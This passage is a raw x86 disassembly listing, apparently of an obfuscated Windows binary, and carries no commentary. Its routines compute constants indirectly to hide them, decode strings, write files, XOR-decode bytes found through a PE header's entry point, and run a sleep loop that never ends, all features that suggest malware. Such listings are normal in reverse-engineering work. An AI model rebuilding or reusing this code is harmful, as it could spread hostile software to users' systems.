		add	esp, 70h
		mov	[ebp+var_1A4], eax
		mov	eax, ds:10012190h
		add	eax, ds:100121ACh
		sub	eax, 6
		cmp	[ebp+var_1A4], eax
		jnz	short loc_41B583
		lea	eax, [ebp+var_FF]
		push	eax
		push	edi
		call	dword ptr ds:1000C020h
		add	esp, 8


loc_41B583:				; CODE XREF: sub_41B3C2+1AEj
		pop	edi
		pop	esi
		leave
		retn
sub_41B3C2	endp

; ---------------------------------------------------------------------------
		db 0B8h
		dd 80004001h
		db 0C2h, 10h, 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B58F	proc near		; CODE XREF: sub_4232A3+35Ep
					; sub_4232A3+3E5p

var_16C		= byte ptr -16Ch
var_168		= byte ptr -168h
var_104		= byte ptr -104h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 16Ch
		push	ebx
		push	esi
		push	edi
		push	104h
		lea	eax, [ebp+var_104]
		push	eax
		call	dword ptr ds:1000E5FCh
		lea	eax, [ebp+var_168]
		push	eax
		call	sub_41C3F2
		push	10013654h
		call	sub_4228CE
		push	eax
		lea	esi, [ebp+var_104]
		push	esi
		call	dword ptr ds:1000C020h
		lea	eax, [ebp+var_168]
		push	eax
		lea	eax, [ebp+var_104]
		push	eax
		call	dword ptr ds:1000C020h
		push	1001364Ch
		call	sub_4228CE
		push	eax
		lea	esi, [ebp+var_104]
		push	esi
		call	dword ptr ds:1000C020h
		add	esp, 24h
		push	0
		push	80h
		push	4
		push	0
		mov	eax, ds:100120C0h
		add	eax, ds:100121C0h
		sub	eax, 4
		push	eax
		push	40000000h
		lea	eax, [ebp+var_104]
		push	eax
		call	dword ptr ds:10011788h
		mov	edi, eax
		push	0
		push	0
		push	[ebp+arg_4]
		push	edi
		call	dword ptr ds:10011B9Ch
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		or	eax, 0FFFFFFFFh


loc_41B644:				; CODE XREF: sub_41B58F+BAj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_41B644
		mov	esi, eax
		push	0
		lea	ebx, [ebp+var_16C]
		push	ebx
		push	esi
		push	[ebp+arg_0]
		push	edi
		call	dword ptr ds:10011B8Ch
		push	edi
		call	dword ptr ds:10010650h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B58F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B66D	proc near		; CODE XREF: .data:0041E8A5p
					; .data:0041E974p

var_10003	= dword	ptr -10003h
var_FFFF	= byte ptr -0FFFFh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 10004h
		call	sub_424F4D
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		lea	edi, ds:1000F260h
		cmp	[ebp+arg_4], 43h
		jnz	short loc_41B692
		lea	edi, ds:1000E0F0h


loc_41B692:				; CODE XREF: sub_41B66D+1Dj
		push	0
		push	80h
		push	3
		push	0
		push	3
		push	0C0000000h
		push	edi
		call	dword ptr ds:10011788h
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	loc_41B73B
		push	0
		push	0
		push	esi
		push	edi
		call	dword ptr ds:10011B9Ch
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		push	0FFFFh
		lea	eax, [ebp+var_10003]
		push	eax
		push	edi
		call	dword ptr ds:1000C028h
		lea	ecx, [ebp+var_FFFF]
		or	eax, 0FFFFFFFFh


loc_41B6E4:				; CODE XREF: sub_41B66D+7Cj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_41B6E4
		mov	edx, ds:100120C4h
		add	edx, 1
		mov	ebx, eax
		add	ebx, edx
		mov	[ebp+var_4], ebx
		mov	ebx, ds:10012158h
		mov	edx, [ebp+var_4]
		mov	[ebp+ebx*4+var_10003], edx
		push	0
		push	0
		push	esi
		push	edi
		call	dword ptr ds:10011B9Ch
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		mov	eax, ds:10012178h
		add	eax, 1
		push	eax
		lea	eax, [ebp+var_10003]
		push	eax
		push	edi
		call	dword ptr ds:10011B8Ch
		push	edi
		call	dword ptr ds:10010650h


loc_41B73B:				; CODE XREF: sub_41B66D+43j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B66D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B740	proc near		; CODE XREF: .data:004231FCp

var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		mov	esi, [eax+3Ch]
		mov	edi, esi
		add	edi, eax
		mov	eax, [edi+28h]
		mov	edx, [ebp+arg_0]
		lea	esi, [eax+edx+0Dh]
		movzx	eax, byte ptr [esi]
		xor	eax, 4Dh
		mov	[ebp+var_1], al
		movzx	eax, byte ptr [esi+1]
		movsx	edx, word ptr ds:100120C8h
		mov	ecx, ds:100121B4h
		lea	edx, [edx+ecx+1F8h]
		mov	ebx, eax
		imul	ebx, edx
		movsx	eax, word ptr ds:10012168h
		mov	edi, eax
		add	edi, ds:100120F8h
		sub	edi, 8
		jmp	short loc_41B7A3
; ---------------------------------------------------------------------------


loc_41B795:				; CODE XREF: sub_41B740+65j
		movzx	eax, byte ptr [esi+edi]
		movzx	edx, [ebp+var_1]
		xor	eax, edx
		mov	[esi+edi], al
		inc	edi


loc_41B7A3:				; CODE XREF: sub_41B740+53j
		cmp	edi, ebx
		jb	short loc_41B795
		mov	eax, [ebp+arg_4]
		mov	[eax], ebx
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B740	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B7B4	proc near		; CODE XREF: .data:0041B022p

var_7		= byte ptr -7
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_4]
		mov	esi, [ebp+arg_8]
		mov	eax, ebx
		add	eax, 2
		mov	ecx, 3
		mov	edx, 0AAAAAAABh
		mul	edx
		shr	edx, 1
		mov	[ebp+var_4], edx
		mov	edi, edx
		shl	edi, 2
		mov	edx, [ebp+arg_C]
		dec	edx
		cmp	edi, edx
		jbe	short loc_41B824
		xor	eax, eax
		jmp	loc_41B8CE
; ---------------------------------------------------------------------------


loc_41B7EC:				; CODE XREF: sub_41B7B4+80j
		push	esi
		push	[ebp+arg_0]
		call	sub_41C28D
		add	esp, 8
		mov	eax, ds:10012188h
		add	eax, 3
		sub	ebx, eax
		movsx	eax, word ptr ds:100120D0h
		mov	edx, ds:10012118h
		lea	eax, [eax+edx+2]
		add	eax, [ebp+arg_0]
		mov	[ebp+arg_0], eax
		mov	eax, ds:10012140h
		sub	eax, 4
		lea	esi, [esi+eax]


loc_41B824:				; CODE XREF: sub_41B7B4+2Fj
		mov	eax, ds:1001217Ch
		add	eax, ds:100120ECh
		sub	eax, 8
		cmp	ebx, eax
		jnb	short loc_41B7EC
		movsx	eax, word ptr ds:1001216Ch
		sub	eax, 4
		cmp	ebx, eax
		jbe	short loc_41B8B1
		push	3
		mov	eax, ds:10012130h
		add	eax, ds:1001218Ch
		dec	eax
		push	eax
		lea	eax, [ebp+var_7]
		push	eax
		call	dword ptr ds:10010640h
		push	ebx
		push	[ebp+arg_0]
		lea	eax, [ebp+var_7]
		push	eax
		call	dword ptr ds:10010634h
		push	esi
		lea	eax, [ebp+var_7]
		push	eax
		call	sub_41C28D
		add	esp, 20h
		mov	eax, ds:1001214Ch
		add	eax, ds:10012184h
		sub	eax, 9
		mov	byte ptr [esi+eax], 3Dh
		movsx	eax, word ptr ds:100120E0h
		inc	eax
		cmp	ebx, eax
		jnz	short loc_41B8A8
		mov	eax, ds:10012104h
		add	eax, ds:100120D4h
		sub	eax, 2
		mov	byte ptr [esi+eax], 3Dh


loc_41B8A8:				; CODE XREF: sub_41B7B4+E0j
		mov	eax, ds:100121C0h
		inc	eax
		lea	esi, [esi+eax]


loc_41B8B1:				; CODE XREF: sub_41B7B4+8Ej
		mov	eax, ds:10012134h
		add	eax, ds:10012144h
		sub	eax, 8
		mov	edx, ds:10012104h
		sub	edx, 3
		mov	[esi+eax], dl
		xor	eax, eax
		inc	eax


loc_41B8CE:				; CODE XREF: sub_41B7B4+33j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B7B4	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		mov	edi, [ebp+8]
		push	100071E7h
		push	dword ptr fs:0
		mov	fs:0, esp
		push	10013644h
		call	sub_4228CE
		push	dword ptr [edi]
		push	eax
		lea	esi, [ebp-0Ah]
		push	esi
		call	dword ptr ds:10011634h
		add	esp, 10h


loc_41B909:				; CODE XREF: .data:0041B931j
		push	0
		push	dword ptr [edi]
		lea	eax, [ebp-0Ah]
		push	eax
		call	sub_423CF4
		mov	eax, ds:10012098h
		movsx	edx, word ptr ds:10012170h
		add	eax, edx
		sub	eax, 0Fh
		push	eax
		call	dword ptr ds:10011630h
		add	esp, 10h
		jmp	short loc_41B909
; ---------------------------------------------------------------------------
		db 5Fh
		dd 4C2C95Eh
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B939	proc near		; CODE XREF: .data:00423256p

var_209		= byte ptr -209h
var_208		= byte ptr -208h
var_204		= byte ptr -204h
var_1FE		= byte ptr -1FEh
var_107		= byte ptr -107h
var_102		= byte ptr -102h
var_FF		= byte ptr -0FFh
var_FE		= byte ptr -0FEh

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		push	edi
		push	0FFh
		lea	eax, [ebp+var_1FE]
		push	eax
		call	dword ptr ds:1000E5FCh
		push	10013631h
		call	sub_4228CE
		movsx	edi, word ptr ds:10012148h
		sub	edi, 2
		push	edi
		lea	edi, [ebp+var_1FE]
		push	edi
		push	eax
		push	1000E0F0h
		call	dword ptr ds:10011634h
		push	1001361Eh
		call	sub_4228CE
		mov	edi, ds:100120F0h
		sub	edi, 3
		push	edi
		lea	edi, [ebp+var_1FE]
		push	edi
		push	eax
		push	1000F260h
		call	dword ptr ds:10011634h
		lea	eax, ds:10001A99h
		mov	ds:1001162Ch, eax
		lea	eax, ds:10001A99h
		mov	ds:1000C04Ch, eax
		lea	eax, ds:1000987Ch
		mov	ds:10011774h, eax
		push	1000D020h
		call	sub_41B3C2
		mov	eax, ds:100121ACh
		add	eax, 6
		push	eax
		push	1000F230h
		call	sub_422857
		lea	eax, ds:1000AC06h
		mov	ds:1000F228h, eax
		lea	eax, ds:10004E0Fh
		mov	ds:1000EA30h, eax
		lea	eax, ds:1000E0F0h
		mov	ds:1001063Ch, eax
		lea	eax, ds:1000F260h
		mov	ds:1000C018h, eax
		lea	eax, ds:10011670h
		mov	ds:100122B0h, eax
		lea	eax, [ebp+var_204]
		push	eax
		mov	eax, ds:100120ACh
		sub	eax, 3
		push	eax
		push	0
		push	10007914h
		mov	eax, ds:100120F8h
		add	eax, ds:10012104h
		sub	eax, 5
		push	eax
		push	0
		call	dword ptr ds:10011B90h
		push	eax
		call	dword ptr ds:10010650h
		lea	eax, [ebp+var_208]
		push	eax
		mov	eax, ds:10012198h
		mov	edx, ds:10012184h
		add	edx, eax
		sub	edx, 0Eh
		push	edx
		push	0
		push	10003256h
		movsx	edx, word ptr ds:100120E8h
		add	edx, eax
		lea	eax, [edx-0Dh]
		push	eax
		push	0
		call	dword ptr ds:10011B90h
		push	eax
		call	dword ptr ds:10010650h
		mov	eax, ds:10012174h
		inc	eax
		movsx	edx, word ptr ds:100120E0h
		add	eax, edx
		mov	ds:1000E61Ch, eax
		movsx	eax, word ptr ds:100120BCh
		movsx	edx, word ptr ds:10012128h
		add	eax, edx
		sub	eax, 8
		push	eax
		lea	eax, [ebp+var_FF]
		push	eax
		call	sub_41B1B9
		add	esp, 3Ch
		mov	eax, ds:100120A4h
		add	eax, ds:10012124h
		cmp	[ebp+eax+var_102], 64h
		jnz	short loc_41BB12
		movsx	eax, [ebp+var_FE]
		mov	edx, ds:100120B8h
		add	edx, 1Ch
		add	edx, ds:100121A4h
		sub	eax, edx
		mov	[ebp+var_209], al
		movzx	eax, [ebp+var_209]
		push	eax
		push	0
		call	sub_4223D9
		add	esp, 8
		mov	eax, ds:100120B4h
		sub	eax, 8
		mov	ds:1000E61Ch, eax


loc_41BB12:				; CODE XREF: sub_41B939+19Aj
		movsx	eax, word ptr ds:10012170h
		add	eax, ds:10012164h
		cmp	[ebp+eax+var_107], 67h
		jnz	short loc_41BB82
		mov	eax, ds:10012188h
		add	eax, 7
		add	eax, ds:100120ACh
		movsx	edx, word ptr ds:100121BCh
		add	edx, ds:100121CCh
		sub	edx, 0Ah
		mov	[ebp+eax+var_FF], dl
		lea	eax, [ebp+var_FE]
		push	eax
		call	dword ptr ds:1000C054h
		mov	[ebp-20Ch], eax
		push	eax
		push	10011670h
		call	sub_41E5D9
		add	esp, 0Ch
		mov	eax, ds:1001210Ch
		add	eax, ds:10012174h
		sub	eax, 10h
		mov	ds:1000E61Ch, eax


loc_41BB82:				; CODE XREF: sub_41B939+1EEj
		pop	edi
		leave
		retn
sub_41B939	endp

; ---------------------------------------------------------------------------
		db 0B8h, 1, 40h
		dd 10C28000h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BB8D	proc near		; CODE XREF: sub_423996+Ep
					; sub_423996+1DBp

var_10088	= dword	ptr -10088h
var_10084	= dword	ptr -10084h
var_10080	= dword	ptr -10080h
var_1007C	= dword	ptr -1007Ch
var_10078	= word ptr -10078h
var_10070	= dword	ptr -10070h
var_10068	= dword	ptr -10068h
var_10064	= dword	ptr -10064h
var_10060	= dword	ptr -10060h
var_10059	= byte ptr -10059h
var_10058	= dword	ptr -10058h
var_10054	= dword	ptr -10054h
var_10050	= dword	ptr -10050h
var_1004C	= dword	ptr -1004Ch
var_10048	= dword	ptr -10048h
var_10043	= byte ptr -10043h
var_44		= dword	ptr -44h
var_40		= word ptr -40h
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= word ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 10088h
		call	sub_424F4D
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_40], 8
		push	10013610h
		call	sub_41F3E4
		pop	ecx
		push	eax
		call	dword ptr ds:1000C044h
		mov	[ebp+var_38], eax
		lea	eax, [ebp+var_2C]
		push	eax
		lea	esi, [ebp+var_40]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		mov	edi, [ebp+arg_0]
		push	edi
		mov	edi, [edi]
		call	dword ptr [edi+30h]
		mov	ebx, eax
		mov	eax, ds:100120F0h
		sub	eax, 4
		cmp	ebx, eax
		jz	short loc_41BBE9
		xor	eax, eax
		jmp	loc_41C22D
; ---------------------------------------------------------------------------


loc_41BBE9:				; CODE XREF: sub_41BB8D+53j
		lea	eax, [ebp+var_24]
		push	eax
		push	1001391Ch
		mov	eax, [ebp+var_2C]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		movsx	eax, word ptr ds:10012090h
		dec	eax
		cmp	ebx, eax
		jnz	loc_41C222
		lea	eax, [ebp+var_28]
		push	eax
		mov	eax, [ebp+var_24]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+24h]
		mov	ebx, eax
		movsx	eax, word ptr ds:10012100h
		movsx	edx, word ptr ds:100120DCh
		add	eax, edx
		sub	eax, 0Fh
		cmp	ebx, eax
		jnz	loc_41C219
		and	[ebp+var_44], 0
		movsx	eax, word ptr ds:10012100h
		sub	eax, 9
		mov	[ebp+var_1C], eax
		jmp	loc_41C20D
; ---------------------------------------------------------------------------


loc_41BC51:				; CODE XREF: sub_41BB8D+686j
		mov	[ebp+var_18], 2
		mov	eax, [ebp+var_1C]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	esi, [ebp+var_18]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		lea	esi, [ebp+var_18]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		mov	edi, [ebp+var_24]
		push	edi
		mov	edi, [edi]
		call	dword ptr [edi+2Ch]
		mov	ebx, eax
		movsx	eax, word ptr ds:100120DCh
		add	eax, ds:100120A0h
		sub	eax, 0Ah
		cmp	ebx, eax
		jnz	loc_41C20A
		and	[ebp+var_10048], 0
		lea	eax, [ebp+var_10048]
		push	eax
		push	1001390Ch
		mov	eax, [ebp+var_4]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		movsx	eax, word ptr ds:10012170h
		sub	eax, 8
		cmp	ebx, eax
		jnz	loc_41C1E6
		cmp	[ebp+var_10048], 0
		jz	loc_41C1E6
		lea	eax, [ebp+var_20]
		push	eax
		mov	eax, [ebp+var_10048]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+0F8h]
		mov	ebx, eax
		or	ebx, ebx
		jnz	loc_41C1E6
		lea	eax, [ebp+var_10043]
		push	eax
		push	[ebp+var_20]
		call	sub_41ADCD
		mov	eax, ds:100120F0h
		sub	eax, 3
		push	eax
		push	1000F230h
		lea	eax, [ebp+var_10043]
		push	eax
		call	sub_41DB51
		add	esp, 14h
		movsx	edi, word ptr ds:100120D0h
		mov	esi, ds:10012094h
		lea	edi, [edi+esi+0FFF9h]
		cmp	eax, edi
		jz	loc_41C1E6
		cmp	[ebp+arg_4], 0
		jz	short loc_41BD6B
		mov	eax, [ebp+var_10048]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]
		mov	eax, [ebp+var_4]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]
		xor	eax, eax
		inc	eax
		jmp	loc_41C22D
; ---------------------------------------------------------------------------


loc_41BD6B:				; CODE XREF: sub_41BB8D+1BFj
		and	[ebp+var_1007C], 0
		lea	eax, [ebp+var_1007C]
		push	eax
		push	1001393Ch
		mov	eax, [ebp+var_4]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		movsx	eax, word ptr ds:10012194h
		cmp	ebx, eax
		jnz	loc_41C1E6
		mov	[ebp+var_10059], 44h
		push	10013608h
		call	sub_4228CE
		mov	edi, ds:10012174h
		movsx	esi, word ptr ds:10012100h
		add	edi, esi
		sub	edi, 11h
		push	edi
		push	eax
		lea	edi, [ebp+var_10043]
		push	edi
		call	sub_41DB51
		add	esp, 10h
		mov	esi, ds:100120F8h
		add	esi, 0FFF4h
		movsx	edx, word ptr ds:100120F4h
		add	esi, edx
		cmp	eax, esi
		jz	short loc_41BDF0
		mov	[ebp+var_10059], 43h


loc_41BDF0:				; CODE XREF: sub_41BB8D+25Aj
		push	10013600h
		call	sub_4228CE
		mov	edi, ds:10012158h
		add	edi, ds:100120A4h
		dec	edi
		push	edi
		push	eax
		lea	edi, [ebp+var_10043]
		push	edi
		call	sub_41DB51
		add	esp, 10h
		mov	esi, ds:1001218Ch
		add	esi, ds:100121CCh
		dec	esi
		mov	edi, eax
		add	edi, esi
		mov	[ebp+var_10068], edi
		mov	[ebp+var_10054], edi


loc_41BE35:				; CODE XREF: sub_41BB8D+2BEj
		mov	eax, [ebp+var_10054]
		cmp	[ebp+eax+var_10043], 26h
		jz	short loc_41BE4D
		inc	[ebp+var_10054]
		jmp	short loc_41BE35
; ---------------------------------------------------------------------------


loc_41BE4D:				; CODE XREF: sub_41BB8D+2B6j
		mov	eax, [ebp+var_10054]
		mov	edx, ds:1001209Ch
		add	edx, ds:100120A8h
		sub	edx, 0Bh
		mov	[ebp+eax+var_10043], dl
		mov	eax, [ebp+var_10068]
		lea	eax, [ebp+eax+var_10043]
		push	eax
		call	dword ptr ds:1000C054h
		mov	[ebp+var_10080], eax
		push	100135F9h
		call	sub_4228CE
		mov	edi, ds:10012184h
		mov	esi, edi
		add	esi, edi
		mov	edi, esi
		sub	edi, 0Bh
		push	edi
		push	eax
		lea	edi, [ebp+var_10043]
		push	edi
		call	sub_41DB51
		add	esp, 14h
		mov	esi, ds:1001214Ch
		add	esi, ds:10012118h
		sub	esi, 4
		mov	edi, eax
		add	edi, esi
		mov	[ebp+var_10068], edi
		mov	[ebp+var_10054], edi


loc_41BECC:				; CODE XREF: sub_41BB8D+355j
		mov	eax, [ebp+var_10054]
		cmp	[ebp+eax+var_10043], 26h
		jz	short loc_41BEE4
		inc	[ebp+var_10054]
		jmp	short loc_41BECC
; ---------------------------------------------------------------------------


loc_41BEE4:				; CODE XREF: sub_41BB8D+34Dj
		mov	eax, [ebp+var_10054]
		mov	edx, ds:10012158h
		add	edx, ds:10012174h
		sub	edx, 9
		mov	[ebp+eax+var_10043], dl
		mov	eax, [ebp+var_10068]
		lea	eax, [ebp+eax+var_10043]
		push	eax
		call	dword ptr ds:1000C054h
		pop	ecx
		mov	[ebp+var_10060], eax
		mov	eax, ds:1001212Ch
		sub	eax, 5
		cmp	[ebp+var_10080], eax
		ja	short loc_41BF90
		movsx	eax, word ptr ds:1001216Ch
		sub	eax, 4
		mov	[ebp+var_1004C], eax
		jmp	short loc_41BF7E
; ---------------------------------------------------------------------------


loc_41BF3D:				; CODE XREF: sub_41BB8D+401j
		mov	edi, [ebp+var_1004C]
		mov	esi, edi
		shl	esi, 2
		cmp	dword ptr ds:1000D130h[esi], 0
		jz	short loc_41BF78
		mov	edx, [ebp+var_10060]
		cmp	ds:1000C060h[esi], edx
		jnz	short loc_41BF78
		mov	dl, ds:1000E200h[edi]
		cmp	dl, [ebp+var_10059]
		jnz	short loc_41BF78
		and	dword ptr ds:1000D130h[edi*4], 0


loc_41BF78:				; CODE XREF: sub_41BB8D+3C3j
					; sub_41BB8D+3D2j ...
		inc	[ebp+var_1004C]


loc_41BF7E:				; CODE XREF: sub_41BB8D+3AEj
		mov	eax, ds:100121B0h
		add	eax, 3E8h
		cmp	[ebp+var_1004C], eax
		jb	short loc_41BF3D


loc_41BF90:				; CODE XREF: sub_41BB8D+39Cj
		call	dword ptr ds:10011770h
		mov	[ebp+var_10064], eax
		movsx	eax, word ptr ds:100120B0h
		sub	eax, 8
		mov	[ebp+var_10050], eax
		jmp	short loc_41C00A
; ---------------------------------------------------------------------------


loc_41BFAE:				; CODE XREF: sub_41BB8D+48Fj
		mov	edi, [ebp+var_10050]
		shl	edi, 2
		cmp	dword ptr ds:1000D130h[edi], 0
		jz	short loc_41C004
		mov	edi, ds:10010660h[edi]
		mov	esi, ds:100120D4h
		add	esi, 0EA5Ch
		add	esi, ds:10012104h
		mov	edx, ds:10012098h
		add	edx, ds:100120F8h
		sub	edx, 4
		imul	esi, edx
		add	edi, esi
		cmp	edi, [ebp+var_10064]
		jnb	short loc_41C004
		mov	edi, [ebp+var_10050]
		and	dword ptr ds:1000D130h[edi*4], 0


loc_41C004:				; CODE XREF: sub_41BB8D+432j
					; sub_41BB8D+467j
		inc	[ebp+var_10050]


loc_41C00A:				; CODE XREF: sub_41BB8D+41Fj
		movsx	eax, word ptr ds:100120C8h
		add	eax, 3E1h
		cmp	[ebp+var_10050], eax
		jb	short loc_41BFAE
		movsx	eax, word ptr ds:100120DCh
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		sub	eax, 0Ch
		mov	[ebp+var_10058], eax
		jmp	short loc_41C04C
; ---------------------------------------------------------------------------


loc_41C036:				; CODE XREF: sub_41BB8D+4D1j
		mov	edi, [ebp+var_10058]
		cmp	dword ptr ds:1000D130h[edi*4], 0
		jz	short loc_41C060
		inc	[ebp+var_10058]


loc_41C04C:				; CODE XREF: sub_41BB8D+4A7j
		mov	eax, ds:100120C0h
		lea	eax, [eax+eax+3E6h]
		cmp	[ebp+var_10058], eax
		jb	short loc_41C036


loc_41C060:				; CODE XREF: sub_41BB8D+4B7j
		mov	edi, [ebp+var_10058]
		mov	esi, [ebp+var_10060]
		mov	ds:1000C060h[edi*4], esi
		mov	eax, edi
		mov	dl, [ebp+var_10059]
		mov	ds:1000E200h[eax], dl
		mov	eax, ds:100121ACh
		sub	eax, 4
		cmp	[ebp+var_10080], eax
		jbe	loc_41C136
		movsx	esi, word ptr ds:10012148h
		mov	edx, ds:1001209Ch
		lea	esi, [esi+edx+0FFF4h]
		mov	ds:1000EA50h[edi*2], si
		movsx	eax, word ptr ds:1001219Ch
		sub	eax, 6
		mov	[ebp+var_10088], eax
		jmp	short loc_41C122
; ---------------------------------------------------------------------------


loc_41C0C4:				; CODE XREF: sub_41BB8D+5A5j
		mov	edi, [ebp+var_10088]
		mov	esi, edi
		shl	esi, 2
		cmp	dword ptr ds:1000D130h[esi], 0
		jz	short loc_41C11C
		movzx	edx, word ptr ds:1000EA50h[edi*2]
		movsx	ecx, word ptr ds:10012090h
		add	ecx, 0FFFEh
		cmp	edx, ecx
		jz	short loc_41C11C
		mov	edx, [ebp+var_10060]
		cmp	ds:1000C060h[esi], edx
		jnz	short loc_41C11C
		mov	dl, ds:1000E200h[edi]
		cmp	dl, [ebp+var_10059]
		jnz	short loc_41C11C
		lea	edi, ds:1000EA50h[edi*2]
		inc	word ptr [edi]
		jmp	short loc_41C14D
; ---------------------------------------------------------------------------


loc_41C11C:				; CODE XREF: sub_41BB8D+54Aj
					; sub_41BB8D+563j ...
		inc	[ebp+var_10088]


loc_41C122:				; CODE XREF: sub_41BB8D+535j
		mov	eax, ds:100120FCh
		add	eax, 3E1h
		cmp	[ebp+var_10088], eax
		jb	short loc_41C0C4
		jmp	short loc_41C14D
; ---------------------------------------------------------------------------


loc_41C136:				; CODE XREF: sub_41BB8D+503j
		mov	edi, [ebp+var_10058]
		mov	esi, ds:100120FCh
		sub	esi, 6
		mov	ds:1000EA50h[edi*2], si


loc_41C14D:				; CODE XREF: sub_41BB8D+58Dj
					; sub_41BB8D+5A7j
		call	dword ptr ds:10011770h
		mov	edi, [ebp+var_10058]
		mov	ds:10010660h[edi*4], eax
		lea	esi, ds:10012294h
		mov	ds:1000D130h[edi*4], esi
		mov	edi, [ebp+var_10058]
		lea	edi, ds:1000D130h[edi*4]
		mov	[ebp+var_10084], edi
		mov	eax, edi
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+4]
		mov	[ebp+var_10078], 9
		mov	edi, [ebp+var_10058]
		lea	edi, ds:1000D130h[edi*4]
		mov	[ebp+var_10070], edi
		lea	esi, [ebp+var_10078]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		mov	edi, [ebp+var_1007C]
		push	edi
		mov	edi, [edi]
		call	dword ptr [edi+0A4h]
		mov	ebx, eax
		inc	[ebp+var_10058]
		lea	eax, [ebp+var_10078]
		push	eax
		call	dword ptr ds:10011BB0h
		mov	eax, [ebp+var_1007C]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_41C1E6:				; CODE XREF: sub_41BB8D+143j
					; sub_41BB8D+150j ...
		cmp	[ebp+var_10048], 0
		jz	short loc_41C1FB
		mov	eax, [ebp+var_10048]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_41C1FB:				; CODE XREF: sub_41BB8D+660j
		cmp	[ebp+var_4], 0
		jz	short loc_41C20A
		mov	eax, [ebp+var_4]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_41C20A:				; CODE XREF: sub_41BB8D+10Fj
					; sub_41BB8D+672j
		inc	[ebp+var_1C]


loc_41C20D:				; CODE XREF: sub_41BB8D+BFj
		mov	eax, [ebp+var_28]
		cmp	[ebp+var_1C], eax
		jb	loc_41BC51


loc_41C219:				; CODE XREF: sub_41BB8D+A8j
		mov	eax, [ebp+var_24]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_41C222:				; CODE XREF: sub_41BB8D+7Ej
		mov	eax, [ebp+var_2C]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]
		xor	eax, eax


loc_41C22D:				; CODE XREF: sub_41BB8D+57j
					; sub_41BB8D+1D9j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41BB8D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C232	proc near		; CODE XREF: sub_41A748+2p
					; sub_41A748+9p

var_104		= byte ptr -104h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	edi
		lea	eax, [ebp+var_104]
		push	eax
		mov	eax, ds:10012104h
		sub	eax, 3
		push	eax
		push	0
		push	[ebp+arg_0]
		push	0
		call	dword ptr ds:1000EA44h
		mov	edi, eax
		or	edi, edi
		jnz	short loc_41C28A
		push	100135F4h
		call	sub_4228CE
		push	eax
		lea	edi, [ebp+var_104]
		push	edi
		call	dword ptr ds:1000C020h
		push	1
		push	43h
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_423CF4
		add	esp, 18h


loc_41C28A:				; CODE XREF: sub_41C232+2Bj
		pop	edi
		leave
		retn
sub_41C232	endp


